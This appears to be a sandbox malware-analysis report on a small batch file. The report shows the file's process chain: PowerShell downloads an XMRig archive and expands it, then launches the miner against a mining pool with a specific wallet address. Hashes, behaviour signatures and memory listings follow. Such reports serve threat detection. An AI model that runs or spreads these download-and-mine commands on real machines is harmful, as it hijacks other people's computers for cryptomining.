Analysis

  • max time kernel
    1800s
  • max time network
    1809s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 20:41

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4240
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4448

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    80699287f69de04bb6823e241fab0ea1

    SHA1

    cf71a9b1f375ed1e16e1094be9bfa120d2060583

    SHA256

    3d20530be8dc1207205aad491949687501e56308e59c881fd55cf22a535f80a3

    SHA512

    5d379df438a23ec77a16209be46150b501e47b33566619f41765d76d4fabef3a3bc8a2fc6518d04e7610ec17262724102799360e1b4d7fd4f0f8cb4e76674ce4

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hrsb3log.lxy.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    181KB

    MD5

    12b1ed77f32f2732af6fbed69840ddb8

    SHA1

    15f31ab0beae6bccdfd009a97f0ce2129f02f81d

    SHA256

    5128244c35a74b2e239e8061ee322ccba35a5d0a3aa9d76152a8417190a69eff

    SHA512

    cddd684133c07a61fd4fd07d0363b803cba1f20ae12f3a1848410117e6775826ab786244f1607bd42160df3179e7dd84b31396528582376ba3865ef18410656b

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    635KB

    MD5

    1041744d6b66d7cdc708c6d49d178682

    SHA1

    5d8b4366ea7eccc1494ef9cc40499182ee070db5

    SHA256

    4c2a9a31d2ad4ad168695c76d291469e8bb7b43f41dcf73521cd58c30ab389da

    SHA512

    f6e4f5e5aca8c759e705d2a4e935505948093cbf17a713ac01f1a15ded20d67bad537e6d2ed952dce390c6779d5bafc91b9490f8d4a1aef6394cd93265f0357b

  • memory/2316-4-0x00000267CB290000-0x00000267CB2B2000-memory.dmp

    Filesize

    136KB

  • memory/2316-7-0x00000267E3A90000-0x00000267E3B06000-memory.dmp

    Filesize

    472KB

  • memory/2316-22-0x00007FF86A770000-0x00007FF86B15C000-memory.dmp

    Filesize

    9.9MB

  • memory/2316-23-0x00000267E3900000-0x00000267E3910000-memory.dmp

    Filesize

    64KB

  • memory/2316-24-0x00000267E3900000-0x00000267E3910000-memory.dmp

    Filesize

    64KB

  • memory/2316-25-0x00000267E3900000-0x00000267E3910000-memory.dmp

    Filesize

    64KB

  • memory/2316-30-0x00007FF86A770000-0x00007FF86B15C000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-36-0x00007FF86A770000-0x00007FF86B15C000-memory.dmp

    Filesize

    9.9MB

  • memory/4240-38-0x0000024FFF180000-0x0000024FFF190000-memory.dmp

    Filesize

    64KB

  • memory/4240-37-0x0000024FFF180000-0x0000024FFF190000-memory.dmp

    Filesize

    64KB

  • memory/4240-62-0x0000024FFF180000-0x0000024FFF190000-memory.dmp

    Filesize

    64KB

  • memory/4240-89-0x0000024FE7000000-0x0000024FE700A000-memory.dmp

    Filesize

    40KB

  • memory/4240-76-0x0000024FE7030000-0x0000024FE7042000-memory.dmp

    Filesize

    72KB

  • memory/4240-113-0x00007FF86A770000-0x00007FF86B15C000-memory.dmp

    Filesize

    9.9MB

  • memory/4448-141-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-151-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-118-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-120-0x000001C07F050000-0x000001C07F070000-memory.dmp

    Filesize

    128KB

  • memory/4448-119-0x000001C07F030000-0x000001C07F050000-memory.dmp

    Filesize

    128KB

  • memory/4448-121-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-122-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-123-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-124-0x000001C07F030000-0x000001C07F050000-memory.dmp

    Filesize

    128KB

  • memory/4448-125-0x000001C07F050000-0x000001C07F070000-memory.dmp

    Filesize

    128KB

  • memory/4448-126-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-127-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-128-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-129-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-130-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-131-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-132-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-133-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-134-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-135-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-136-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-137-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-138-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-139-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-140-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-116-0x000001C07E9E0000-0x000001C07EA00000-memory.dmp

    Filesize

    128KB

  • memory/4448-142-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-143-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-144-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-145-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-146-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-147-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-148-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-149-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-150-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-117-0x000001C07EFF0000-0x000001C07F030000-memory.dmp

    Filesize

    256KB

  • memory/4448-152-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-153-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-154-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-155-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-156-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-157-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-158-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-159-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-160-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-161-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-162-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-163-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-164-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-165-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-166-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-167-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-168-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-169-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-170-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-171-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-172-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-173-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-174-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-175-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-176-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-177-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-178-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-179-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-180-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-181-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-182-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-183-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4448-184-0x00007FF70D6C0000-0x00007FF70E1C3000-memory.dmp

    Filesize

    11.0MB